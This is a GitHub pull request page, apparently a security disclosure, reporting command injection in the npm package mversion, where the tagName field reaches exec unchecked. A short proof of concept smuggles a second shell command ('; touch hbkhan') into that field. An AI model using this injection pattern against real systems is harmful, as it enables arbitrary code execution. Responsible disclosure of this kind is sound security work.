New issue

Jump to bottom

Remote Command Execution in mversion #102

Closed **Hbkhan** wants to merge 1 commit into `418sec:staging` from `Hbkhan:mversion_rce`

Conversation 1 Commits 1 Checks 0 Files changed 2

Hbkhan commented on Jun 23, 2020 • edited

Description

Affected versions allow an attacker to execute remote commands. The issue occurs because `tagName` user input is formatted inside the `exec` function in #L64 is executed without any checks.

Proof of Concept

```
// poc.js
// node poc.js

var mversion = require('mversion');

mversion.update({
       version: "major",
       commitMessage: "testing",
       tagName: "; touch hbkhan",
 })
```

Impact

This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.

Contact

This is the initial disclosure

Checklist

In my pull request, I have:

- *Created and populated the `README.md` and `vulnerability.json` files*
- *Provided the repository URL and any applicable permalinks*
- *Defined all the applicable weaknesses (CWEs)*
- *Proposed the CVSS vector items i.e. User Interaction, Attack Complexity*
- *Checked that the vulnerability affects the latest version of the package released*
- *Checked that a fix does not currently exist that remediates this vulnerability*
- *Complied with all applicable laws*

Hbkhan force-pushed the `mversion_rce` branch from **`2d87572`** to **`b5b2865`** 2 years ago Compare

`Remote Command Execution in mversion` `7042e1d`

Hbkhan force-pushed the `mversion_rce` branch from **`b5b2865`** to **`7042e1d`** 2 years ago Compare

JamieSlome requested review from **mufeedvh** and **toufik-airane** 2 years ago

JamieSlome added the **disclosure** label on Jun 24, 2020

Hbkhan commented on Jun 24, 2020 Author

The issue just got fixed by the author of repo **@mikaelbr**

Hbkhan closed this on Jun 24, 2020

Reviewers

mufeedvh

toufik-airane

Assignees

No one assigned

Labels

disclosure

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

None yet

2 participants